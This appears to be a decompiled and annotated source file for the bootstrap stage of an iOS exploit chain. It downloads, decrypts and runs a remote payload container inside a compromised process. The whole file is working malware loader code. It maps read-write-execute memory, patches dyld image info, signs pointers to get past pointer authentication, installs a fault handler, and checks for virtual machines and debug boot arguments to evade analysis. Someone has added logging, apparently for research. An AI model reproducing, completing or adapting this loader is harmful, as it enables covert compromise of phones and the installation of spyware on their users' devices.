/*
 * main.m - Entry point, thread management, payload processing
 *
 * Decompiled from bootstrap.dylib offsets 0x5fec-0x6fe8
 */

#import "bootstrap.h"
#import <string.h>
#import <stdlib.h>
#import <pthread.h>
#import <signal.h>
#import <sys/mman.h>
#import <sys/sysctl.h>
#import <mach/mach.h>
@import Darwin;
@import UIKit;

extern int sysctlbyname(const char *, void *, size_t *, void *, size_t);
extern void _exit(int);
extern int *__error(void);

/* ── process_payload (0x5fec) ──────────────────────────────────── */
/* Main payload processing function. Downloads, decrypts, and loads
 * the payload module via the bootstrap context.
 *
 * High-level flow:
 * 1. If logging enabled, report start
 * 2. Call ctx->download_func to get payload data
 * 3. Validate and decompress the data
 * 4. Parse as F00DBEEF container
 * 5. Download additional components via download_and_process
 * 6. Store container data and configure memory regions
 * 7. On flag_a/flag_new_ios: load and run module, setup mmap
 * 8. On direct mode: resolve containers, find _start, execute
 */

uint32_t process_payload(bootstrap_ctx_t *ctx, const char *url,
                         uint32_t unused, uint32_t *result)
{
    void *dl_data = NULL;
    uint32_t dl_size = 0;
    void *decrypted = NULL;
    uint32_t w23 = 0x730C4C0E; /* logging constant */

    (void)unused;

    if (!ctx)
        return 0;

    print_log("[bootstrap] process_payload: url=%s logging=%d", url, ctx->logging_enabled);

    /* Report start if logging is enabled */
    if (ctx->logging_enabled && ctx->log_func) {
        ctx->log_func(ctx, ERR_NULL_CTX + 0x1F000, NULL,
                      w23 | 0x1F0);
    }

    /* Download payload data */
    print_log("[bootstrap] process_payload: downloading payload...");
    uint32_t err = ((fn_download_t)ctx->download_func)(
        ctx, url, &dl_data, &dl_size);
    if (err) {
        print_log("[bootstrap] process_payload: download FAIL err=0x%x", err);
        if (ctx->logging_enabled && ctx->log_func)
            ctx->log_func(ctx, err, NULL, w23 + 0x1E7);
        return err;
    }
    print_log("[bootstrap] process_payload: download OK size=%u", dl_size);

    /* Validate response */
    if (!dl_data) {
        err = ERR_NULL_CTX;
        print_log("[bootstrap] process_payload: dl_data is NULL");
        if (ctx->logging_enabled && ctx->log_func)
            ctx->log_func(ctx, ERR_NULL_CTX, NULL, w23 + 0x1DF);
        goto decompress;
    }

    if (dl_size < 4) {
        err = ERR_NULL_CTX;
        print_log("[bootstrap] process_payload: dl_size too small (%u)", dl_size);
        if (ctx->logging_enabled && ctx->log_func)
            ctx->log_func(ctx, ERR_NULL_CTX, NULL, w23 + 0x1DF);
        goto decompress;
    }

    /* Decompress if needed (via ctx->key_ptr) */
    void *decompress_out = NULL;
    uint32_t decompress_size = 0;

decompress:
    if (err) {
        print_log("[bootstrap] process_payload: decompress phase err=0x%x", err);
        if (ctx->logging_enabled && ctx->log_func)
            ctx->log_func(ctx, err, NULL, w23 + 0x1CD);
        return err;
    }

    /* Report successful decompress */
    if (ctx->logging_enabled && ctx->log_func)
        ctx->log_func(ctx, 0xC0002, NULL, w23 + 0x1C9);

    /* Parse payload as container */
    print_log("[bootstrap] process_payload: parsing container...");
    fn_parse_container_t parse = ctx->fn_parse_container;
    err = parse(ctx, CONTAINER_TYPE_PAYLOAD, dl_data, dl_size);
    if (err) {
        print_log("[bootstrap] process_payload: parse_container FAIL err=0x%x", err);
        if (ctx->logging_enabled && ctx->log_func)
            ctx->log_func(ctx, err, NULL, w23 + 0x1B9);
        return err;
    }

    /* Download and process additional components */
    print_log("[bootstrap] process_payload: downloading additional components...");
    void *extra_data = NULL;
    uint32_t extra_size = 0;
    err = download_and_process(ctx, CONTAINER_TYPE_PAYLOAD,
                               &extra_data, &extra_size);
    if (err) {
        print_log("[bootstrap] process_payload: download_and_process FAIL err=0x%x", err);
        if (ctx->logging_enabled && ctx->log_func)
            ctx->log_func(ctx, err, NULL, w23 + 0x2C);
        return err;
    }

    /* Store container data pointers */
    ctx->container_data = extra_data;
    ctx->container_size = extra_size;
    print_log("[bootstrap] process_payload: container data stored size=%u", extra_size);

    /* Report successful load */
    if (ctx->logging_enabled && ctx->log_func)
        ctx->log_func(ctx, 0xC0002 | 1, NULL, w23 + 0x10);

    /* Check operational mode */
    print_log("[bootstrap] process_payload: flag_a=%d flag_new_ios=%d", ctx->flag_a, ctx->flag_new_ios);
    if (!ctx->flag_a && !ctx->flag_new_ios)
        goto direct_mode;

    /* Check if A15-specific features needed */
    if (ctx->flag_a15_features && ctx->is_sandboxed)
        goto load_module;

load_module:
    /* Set ready flag */
    ctx->flag_ready = 1;
    print_log("[bootstrap] process_payload: entering load_module path");

    /* Report ready */
    if (ctx->logging_enabled && ctx->log_func)
        ctx->log_func(ctx, 0xC0002 | 2, NULL, w23 + 0xD8);

    /* Load module via find_or_load */
    err = ((fn_find_or_load_t)ctx->fn_find_or_load)(
        ctx, CONTAINER_TYPE_MODULE);

    /* Log result */
    if (err && ctx->logging_enabled && ctx->log_func)
        ctx->log_func(ctx, err, NULL, w23 + 0xB6);

    /* Unload container wrapper (module code/vtable stays mapped) */
    ctx->fn_unload(ctx, CONTAINER_TYPE_MODULE);

    /* Store find_or_load result for caller */
    if (result)
        *result = err;

    print_log("[bootstrap] process_payload: load_module path OK result=0x%x", err);
    return 0;

direct_mode:
    print_log("[bootstrap] process_payload: entering direct_mode path");
    /* Direct execution mode — more complex path */
    {
        /* Get task dyld info to find executable mapping */
        mach_msg_type_number_t count = 5;
        struct {
            uint64_t all_images_addr;
            uint64_t all_images_size;
            uint8_t  _rest[0x18];
        } dyld_info;
        memset(&dyld_info, 0, sizeof(dyld_info));
        stp_zero:

        err = task_info(mach_task_self(), 17 /* TASK_DYLD_INFO */,
                        (task_info_t)&dyld_info, &count);
        if (err) {
            err |= 0x80000000;
            print_log("[bootstrap] process_payload: task_info FAIL err=0x%x", err);
            if (ctx->logging_enabled && ctx->log_func)
                ctx->log_func(ctx, err, NULL, w23 + 0xE2);
            return err;
        }

        uint64_t all_images = dyld_info.all_images_addr;
        print_log("[bootstrap] process_payload: all_images=0x%llx", all_images);
        if (!all_images) {
            err = ERR_TASK_INFO;
            print_log("[bootstrap] process_payload: all_images is NULL");
            if (ctx->logging_enabled && ctx->log_func)
                ctx->log_func(ctx, ERR_TASK_INFO, NULL, w23);
            return err;
        }

        /* Read dyld mapping info */
        uint64_t mapping = *(uint64_t *)((uint8_t *)all_images + 0x28);
        mapping &= ~1ULL; /* strip tag bit */
        print_log("[bootstrap] process_payload: mapping=0x%llx", mapping);

        if (!mapping) {
            print_log("[bootstrap] process_payload: no mapping, using load_module_wrapper");
            /* No existing mapping — use load_module_wrapper */
            void *module_handle = NULL;
            err = load_module_wrapper(ctx, &module_handle);
            if (err)
                goto check_err;

            /* Call module init */
            void *init_result = NULL;
            err = module_call_init((module_handle_t *)module_handle,
                                   0, &init_result);
            if (err)
                goto close_module;

            /* Call module command 0xD */
            print_log("[bootstrap] process_payload: calling module cmd 0xD");
            err = module_call_cmd((module_handle_t *)module_handle,
                                  init_result, 0xD, NULL);

            /* Cleanup */
            module_call_cleanup((module_handle_t *)module_handle,
                                init_result);

        close_module:
            close_module(ctx, (module_handle_t *)module_handle);

        check_err:
            if (err == ERR_NO_CONTAINER) {
                print_log("[bootstrap] process_payload: no loader container, falling back to load_module");
                goto load_module;
            }
            if (err)
                goto report_and_done;

            /* Setup mmap region */
            print_log("[bootstrap] process_payload: setting up mmap region (16MB RWX)");
            void *map = mmap(NULL, 0x1000000,
                             PROT_READ | PROT_WRITE | PROT_EXEC,
                             MAP_ANON | MAP_PRIVATE, -1, 0);
            if (map == MAP_FAILED) {
                print_log("[bootstrap] process_payload: mmap FAILED");
                if (ctx->logging_enabled && ctx->log_func)
                    ctx->log_func(ctx, ERR_MMAP_FAIL, NULL,
                                  w23 + 0x94);
                return ERR_MMAP_FAIL;
            }
            print_log("[bootstrap] process_payload: mmap OK addr=%p", map);

            ctx->atomic_state = NULL;
            ctx->exec_base = (uint8_t *)map;
            ctx->exec_size = 0x1000000;
            ctx->buffer_remaining = 0;
            memset(&ctx->mmap_base, 0, 16);

            /* Store mapping in dyld info */
            uint64_t tag = *(uint64_t *)((uint8_t *)all_images + 0x28);
            tag = (tag & 1) | (uintptr_t)map;
            *(uint64_t *)((uint8_t *)all_images + 0x28) = tag;
            goto load_module;
        }

        /* Have existing mapping — setup for container loading */
        {
            print_log("[bootstrap] process_payload: have existing mapping, loading data container");
            /* Download data container */
            void *data_dl = NULL;
            uint32_t data_sz = 0;
            fn_get_raw_data_t get_raw = ctx->fn_get_raw_data;

            err = get_raw(ctx, CONTAINER_TYPE_DATA, &data_dl, &data_sz);
            if (err) {
                print_log("[bootstrap] process_payload: get_raw_data FAIL err=0x%x", err);
                goto container_error;
            }

            /* Load module */
            void *module_handle = NULL;
            err = load_module(ctx, ERR_NULL_CTX - 0x1D000,
                              &module_handle);
            if (err) {
                print_log("[bootstrap] process_payload: load_module FAIL err=0x%x", err);
                goto container_error;
            }

            /* Call init */
            void *init_result = NULL;
            err = module_call_init((module_handle_t *)module_handle,
                                   0, &init_result);
            if (err) {
                print_log("[bootstrap] process_payload: module_call_init FAIL err=0x%x", err);
                goto container_error;
            }

            /* Setup task info */
            struct {
                uint8_t data[0x10];
            } task_data;
            memset(&task_data, 0, sizeof(task_data));
            *(uint32_t *)&task_data = mach_task_self();

            /* Send command 0x1B with task info */
            print_log("[bootstrap] process_payload: calling module cmd 0xC000001B");
            err = module_call_cmd((module_handle_t *)module_handle,
                                  init_result, 0xC000001B, &task_data);
            if (err) {
                print_log("[bootstrap] process_payload: cmd 0xC000001B FAIL err=0x%x", err);
                goto container_error;
            }

            /* Check response flags */
            if (!((uint8_t *)&task_data)[6] ||
                !((uint8_t *)&task_data)[5]) {
                ((uint8_t *)&task_data)[5] = 1;
                ((uint8_t *)&task_data)[6] = 1;
                print_log("[bootstrap] process_payload: calling module cmd 0x4000001B");
                err = module_call_cmd((module_handle_t *)module_handle,
                                      init_result, 0x4000001B, &task_data);
                if (err) {
                    print_log("[bootstrap] process_payload: cmd 0x4000001B FAIL err=0x%x", err);
                    goto container_error;
                }
            }

            /* Command 0xD */
            print_log("[bootstrap] process_payload: calling module cmd 0xD");
            err = module_call_cmd((module_handle_t *)module_handle,
                                  init_result, 0xD, NULL);
            if (err) {
                print_log("[bootstrap] process_payload: cmd 0xD FAIL err=0x%x", err);
                goto container_error;
            }

        container_error:
            if (err) {
                print_log("[bootstrap] process_payload: container_error path, trying mmap fallback");
                /* Try alternate path with vm_allocate */
                void *new_map = mmap(NULL, 0x1000000,
                                     PROT_READ | PROT_WRITE,
                                     MAP_ANON | MAP_PRIVATE, -1, 0);
                if (new_map == MAP_FAILED) {
                    err = (*(int *)__error());
                    if (err < 0) err = -err;
                    err |= 0x40000000;
                    print_log("[bootstrap] process_payload: fallback mmap FAILED err=0x%x", err);
                    goto cleanup_module;
                }
                print_log("[bootstrap] process_payload: fallback mmap OK addr=%p", new_map);

                /* Allocate VM region */
                vm_address_t vm_addr = 0;
                err = vm_allocate(mach_task_self(), &vm_addr,
                                  0x1000000, VM_FLAGS_ANYWHERE);
                if (err) {
                    print_log("[bootstrap] process_payload: vm_allocate FAIL err=0x%x", err);
                    goto vm_error;
                }
                print_log("[bootstrap] process_payload: vm_allocate OK addr=0x%lx", (unsigned long)vm_addr);

                /* Store address and copy data */
                *(uint64_t *)new_map = vm_addr;
                extern vm_size_t vm_page_size;
                memcpy((uint8_t *)new_map + vm_page_size,
                       data_dl, data_sz);

                /* Set protection to RWX */
                err = vm_protect(mach_task_self(), (vm_address_t)new_map,
                                 0x1000000, 0,
                                 VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE);
                if (err) {
                    print_log("[bootstrap] process_payload: vm_protect FAIL err=0x%x", err);
                    goto vm_error;
                }

                /* Send command 0x26 */
                print_log("[bootstrap] process_payload: calling module cmd 0x26");
                err = module_call_cmd((module_handle_t *)module_handle,
                                      init_result, 0x26, NULL);
                if (err) {
                    print_log("[bootstrap] process_payload: cmd 0x26 FAIL err=0x%x", err);
                    goto cleanup_module_with_map;
                }

                /* Update dyld mapping */
                uint64_t *slot = (uint64_t *)((uint8_t *)mapping + 0x28);
                uint64_t tag = (*slot) & 1;
                *slot = tag | (uintptr_t)new_map;
                goto cleanup_module_with_map;

            vm_error:
                err |= 0x80000000;

            cleanup_module_with_map:
                mapping = (uint64_t)(uintptr_t)new_map;
            }

        cleanup_module:
            if (module_handle) {
                if (init_result)
                    module_call_cleanup((module_handle_t *)module_handle,
                                        init_result);
                close_module(ctx, (module_handle_t *)module_handle);
            }
            if (err)
                goto report_and_done;

            /* Configure memory from mapping */
            print_log("[bootstrap] process_payload: configuring memory from mapping");
            extern vm_size_t vm_page_size;
            ctx->exec_base = (uint8_t *)((uintptr_t)decrypted +
                                          vm_page_size + 0x100000);
            ctx->exec_size = 0xF00000;
            ctx->atomic_state = (uint32_t *)((uintptr_t)decrypted +
                                              0xFFFFFC);
            ctx->mmap_base = mapping;
            ctx->mmap_secondary = (uint64_t)(uintptr_t)decrypted;
            ctx->buffer_remaining = 0;

            /* Install function pointers for alloc_buffer etc. */
            ctx->fn_alloc_buffer = (fn_alloc_buffer_t)alloc_buffer;
            ctx->consume_buf = (fn_consume_buffer_t)consume_buffer;
            ctx->bzero_func = (fn_bzero_t)secure_bzero;
            ctx->flag_direct_mem = 1;
            ctx->flag_ready = 1;
            ctx->flag_b = 1;
            print_log("[bootstrap] process_payload: direct_mode memory configured, going to load_module");
            goto load_module;
        }
    }

report_and_done:
    print_log("[bootstrap] process_payload: report_and_done err=0x%x", err);
    if (ctx->logging_enabled && ctx->log_func)
        ctx->log_func(ctx, err, NULL, w23 + 0x75);
    return err;
}

/* ── process (0x68d8) ──────────────────────────────────────────── */
/* Exported entry point. Initializes the bootstrap context:
 * 1. init_communication
 * 2. init_function_table
 * 3. init_system_info
 * 4. init_sandbox_and_ua
 * 5. Validates xnu version range
 * 6. Checks virtual environment
 * 7. Validates L2 cache / boot args
 * 8. Sets up memory regions
 * 9. Clones context, spawns worker thread
 */

__attribute__((visibility("default")))
uint32_t process(bootstrap_ctx_t *ctx)
{
    // initialize log file fd once, before anything else
    init_log_fd();

    // redirect logging to file
    struct stat std_out;
    struct stat dev_null;
    if (fstat(STDOUT_FILENO, &std_out) == 0 &&
        stat("/dev/null", &dev_null) == 0 &&
        std_out.st_dev == dev_null.st_dev &&
        std_out.st_ino == dev_null.st_ino) {
        char log_path[PATH_MAX];
        snprintf(log_path, PATH_MAX, "%s/bootstrap.log", getenv("TMPDIR"));
        int log_fd = open(log_path, O_WRONLY | O_CREAT | O_APPEND, 0644);
        if (log_fd >= 0) {
            dup2(log_fd, STDOUT_FILENO);
            dup2(log_fd, STDERR_FILENO);
            close(log_fd);
        }
    }
    
    uint32_t err = ERR_GENERIC;

    if (!ctx)
        return err - 8;

    /* Sign raw function pointers from exploit chain for arm64e PAC */
    sign_ctx_fptrs(ctx);

    print_log("[bootstrap] process: entry ctx=%p", ctx);

    /* Step 1: Initialize communication (logging, semaphore) */
    print_log("[bootstrap] process: step 1 - init_communication");
    err = init_communication(ctx);
    if (err) {
        print_log("[bootstrap] process: init_communication FAIL err=0x%x", err);
        return err;
    }

    /* Step 2: Initialize function table (container management) */
    print_log("[bootstrap] process: step 2 - init_function_table");
    err = init_function_table(ctx);
    if (err) {
        print_log("[bootstrap] process: init_function_table FAIL err=0x%x", err);
        return err;
    }

    /* Step 3: Initialize system info (OS version, device type, etc.) */
    print_log("[bootstrap] process: step 3 - init_system_info");
    err = init_system_info(ctx);
    if (err) {
        print_log("[bootstrap] process: init_system_info FAIL err=0x%x", err);
        return err;
    }

    /* Step 4: Initialize sandbox detection and user-agent */
    print_log("[bootstrap] process: step 4 - init_sandbox_and_ua");
    err = init_sandbox_and_ua(ctx);
    if (err) {
        print_log("[bootstrap] process: init_sandbox_and_ua FAIL err=0x%x", err);
        return err;
    }

    /* Validate xnu version is within expected range */
    uint64_t xnu = ctx->xnu_version;
    print_log("[bootstrap] process: xnu_version=0x%llx os_version=0x%x", xnu, ctx->os_version);
    uint64_t adjusted = xnu + 0xFFE7F6FFF9900000ULL;
    err = ERR_GENERIC - 1;
    if (adjusted > 0x000F090EFE400003ULL) {
        print_log("[bootstrap] process: xnu version out of range");
        return err;
    }

    /* If device is sandboxed, check additional constraints */
    if (ctx->is_sandboxed) {
        print_log("[bootstrap] process: sandboxed, checking constraints");
        uint32_t os_ver = ctx->os_version;
        err = 0x27009;
        if (os_ver < 0x100000) {
            print_log("[bootstrap] process: os_version too low (0x%x)", os_ver);
            return err;
        }

        /* Check CPU type for known SoC families */
        if (os_ver > 0x100401) {
            uint32_t cpu = ctx->cpu_type;
            print_log("[bootstrap] process: checking cpu_type=0x%x", cpu);
            if (cpu == SOC_TYPE_A)
                goto env_check;
            if (cpu == SOC_TYPE_B)
                goto env_check;
            if (cpu > (int32_t)SOC_TYPE_C) {
                if (cpu == SOC_TYPE_E)
                    goto env_check;
                if (cpu == SOC_TYPE_D)
                    goto env_check;
            }
        }
    }

env_check:
    /* Check for virtual environment (Corellium, etc.) */
    print_log("[bootstrap] process: checking virtual environment");
    {
        uint8_t is_virtual = 1;
        err = check_virtual_env(&is_virtual);
        uint32_t env_err = (is_virtual == 0) ? (ERR_GENERIC + 0x1B) : 0;
        if (err)
            env_err = ERR_GENERIC + 2;
        err = env_err;
        if (err) {
            print_log("[bootstrap] process: virtual env check FAIL err=0x%x is_virtual=%d", err, is_virtual);
            //return err;
        }
    }
    print_log("[bootstrap] process: virtual env check OK");

    /* Validate os_version ceiling */
    if (ctx->os_version > 0x1102FF) {
        print_log("[bootstrap] process: os_version too high (0x%x)", ctx->os_version);
        return ERR_GENERIC - 1;
    }

    /* Check L2 cache size for additional validation */
    if (ctx->os_version >= 0xE0000) {
        uint64_t l2_size = 0;
        size_t l2_len = 8;
        int sysret = sysctlbyname("hw.l2cachesize", &l2_size, &l2_len,
                                   NULL, 0);
        print_log("[bootstrap] process: l2cachesize=%llu sysret=%d", l2_size, sysret);
        uint32_t l2_err = (l2_size >> 20) ? 0 : (ERR_GENERIC + 0x1B);
        if (!sysret && l2_size >= 0x100000)
            goto check_bootargs;
        err = l2_err;
    }

check_bootargs:
    /* Check kernel boot arguments for debug strings */
    print_log("[bootstrap] process: checking bootargs");
    {
        char bootargs[0x400];
        size_t ba_len = 0x400;
        memset(bootargs, 0, sizeof(bootargs));
        if (sysctlbyname("kern.bootargs", bootargs, &ba_len, NULL, 0) == 0
            && bootargs[0]) {
            print_log("[bootstrap] process: bootargs='%s'", bootargs);
            if (bootargs[0] != ' ' || bootargs[1] != '\0') {
                print_log("[bootstrap] process: bootargs check FAIL");
                return ERR_GENERIC + 0x1B;
            }
        }
    }

    /* Check host info for iOS 15 and below */
    if (ctx->os_version <= 0xF0000) {
        mach_msg_type_number_t hi_count = 1;
        uint32_t hi_data = 0;
        int hi_ret = host_info(mach_host_self(), 11 /* HOST_VM_INFO */,
                               (host_info_t)&hi_data, &hi_count);
        print_log("[bootstrap] process: host_info ret=%d data=0x%x", hi_ret, hi_data);
        uint32_t hi_err = (hi_data == 0) ? 0 : (ERR_GENERIC + 0x1B);
        if (hi_ret)
            goto setup_mem;
        err = hi_err;
        if (err) {
            print_log("[bootstrap] process: host_info check FAIL err=0x%x", err);
            return err;
        }
    }

setup_mem:
    /* Setup memory regions */
    print_log("[bootstrap] process: step 5 - setup_memory");
    err = setup_memory(ctx);
    if (err) {
        print_log("[bootstrap] process: setup_memory FAIL err=0x%x", err);
        return err;
    }

    /* Clone context for worker thread */
    print_log("[bootstrap] process: cloning context for worker thread");
    bootstrap_ctx_t *clone = (bootstrap_ctx_t *)malloc(sizeof(bootstrap_ctx_t));
    if (!clone)
        goto fail;

    memcpy(clone, ctx, sizeof(bootstrap_ctx_t));

    /* Duplicate heap-allocated strings */
    if (clone->secondary_url) {
        clone->secondary_url = strdup(clone->secondary_url);
        if (!clone->secondary_url)
            goto fail;
    }

    if (clone->key_ptr) {
        uint8_t *new_key = (uint8_t *)malloc(0x20);
        if (!new_key)
            goto fail;
        memcpy(new_key, clone->key_ptr, 0x20);
        clone->key_ptr = new_key;
    }

    if (clone->base_url) {
        clone->base_url = strdup(clone->base_url);
        if (!clone->base_url)
            goto fail;
    }

    if (clone->user_agent) {
        clone->user_agent = strdup(clone->user_agent);
        if (!clone->user_agent)
            goto fail;
    }

    if (clone->alt_url) {
        clone->alt_url = strdup(clone->alt_url);
        if (!clone->alt_url)
            goto fail;
    }

    /* Create worker thread */
    print_log("[bootstrap] process: creating worker thread");
    {
        uint32_t thread_err = ERR_NULL_CTX + 0x10000;
        pthread_attr_t attr;
        if (pthread_attr_init(&attr))
            goto fail;

        if (pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED)) {
            pthread_attr_destroy(&attr);
            goto fail;
        }

        pthread_t thread;
        if (pthread_create(&thread, &attr, (void *(*)(void *))thread_main, clone) == 0) {
            thread_err = 0; /* success — original binary: csinc w21, wzr, w21, eq → 0 on success */
            print_log("[bootstrap] process: worker thread created OK");
        } else {
            thread_err++;
            print_log("[bootstrap] process: pthread_create FAILED");
        }

        pthread_attr_destroy(&attr);
        return thread_err;
    }

fail:
    print_log("[bootstrap] process: FAIL (alloc error)");
    return ERR_NULL_CTX + 0x10000;
}

/* ── thread_main (0x6c44) ──────────────────────────────────────── */
/* Worker thread entry point. Sets up SIGSEGV handler for PAC faults,
 * creates a UIApplication background task, calls process_payload,
 * then cleans up.
 */

void *thread_main(bootstrap_ctx_t *ctx)
{
    uint32_t err = ERR_GENERIC;
    uint32_t result = err - 9; /* = ERR_NULL_CTX */
    int sig_installed = 0;

    print_log("[bootstrap] thread_main: entry ctx=%p", ctx);

    /* Install PAC SIGSEGV handler on iOS 13-14 arm64e only.
     * On iOS 15+, the exploit uses a different PAC bypass strategy
     * and does NOT need the SIGSEGV fault handler. */
    uint16_t os_major = (ctx->os_version >> 16) & 0xFF;
    print_log("[bootstrap] thread_main: os_major=%u has_pac=%d", os_major, has_pac());
    if (os_major <= 14 && has_pac()) {
        /* Install SIGSEGV handler for PAC faults */
        print_log("[bootstrap] thread_main: installing PAC SIGSEGV handler");
        struct sigaction sa, old_sa;
        memset(&sa, 0, sizeof(sa));
        sa.sa_sigaction = (void (*)(int, siginfo_t *, void *))resolve_pac_pointer;
        sa.sa_flags = SA_SIGINFO;

        if (sigaction(SIGSEGV, &sa, &old_sa) != 0) {
            err = *__error();
            if (err < 0) err = (uint32_t)(-err);
            err |= 0x40000000;
            print_log("[bootstrap] thread_main: sigaction FAIL err=0x%x", err);
            return (void *)(uintptr_t)err;
        }
        sig_installed = 1;
        print_log("[bootstrap] thread_main: SIGSEGV handler installed");
    }

    /* Begin UIApplication background task */
    UIBackgroundTaskIdentifier bg_task = UIBackgroundTaskInvalid;

    UIApplication *app = [UIApplication alloc];
    print_log("[bootstrap] thread_main: UIApplication=%p", app);
    if (!app) {
        print_log("[bootstrap] thread_main: cleanup err=0x%x", err);
        return (void *)(uintptr_t)err;
    }

    id expireBlock = ^{
        print_log("[bootstrap] bg_task_expired: ending task_id=%lu", (unsigned long)bg_task);
        [app endBackgroundTask:bg_task];
        //bg_task = UIBackgroundTaskInvalid;
    };
//    uint64_t underlyingClass = *(uint64_t*)expireBlock;
//    __asm__ volatile("pacda %0, %1" : "+r"(underlyingClass) : "r"((uint64_t)expireBlock | (0x6ae1ll << 48)));
//    *(uint64_t*)expireBlock = underlyingClass;
    
    bg_task = [app beginBackgroundTaskWithExpirationHandler:expireBlock];
    print_log("[bootstrap] thread_main: background task started id=%lu", (unsigned long)bg_task);

    /* Process the payload */
    char *url = ctx->secondary_url;
    print_log("[bootstrap] thread_main: secondary_url=%s", url ? url : "(null)");
    if (url) {
        err = process_payload(ctx, url, 0, &result);
        print_log("[bootstrap] thread_main: process_payload returned err=0x%x result=0x%x", err, result);
        if (err == 0)
            err = result;
    } else {
        err = 0;
    }

    /* End background task if it was started */
    if (bg_task != UIBackgroundTaskInvalid) {
        print_log("[bootstrap] thread_main: ending background task");
        [app endBackgroundTask:bg_task];
        bg_task = UIBackgroundTaskInvalid;
    }

    /* Restore SIGSEGV handler if we installed one */
    if (sig_installed) {
        print_log("[bootstrap] thread_main: restoring SIGSEGV handler");
        struct sigaction old_sa;
        if (sigaction(SIGSEGV, NULL, &old_sa) != 0) {
            err = *__error();
            if (err < 0) err = (uint32_t)(-err);
            err |= 0x40000000;
            print_log("[bootstrap] thread_main: sigaction restore FAIL err=0x%x", err);
        }
    }

    /* Check if exit requested */
    if (ctx->flag_exit) {
        print_log("[bootstrap] thread_main: flag_exit set, calling _exit(0)");
        _exit(0);
    }

cleanup:
    print_log("[bootstrap] thread_main: cleanup err=0x%x", err);
    return (void *)(uintptr_t)err;

done:
    print_log("[bootstrap] thread_main: done err=0x%x", err);
    return (void *)(uintptr_t)err;
}
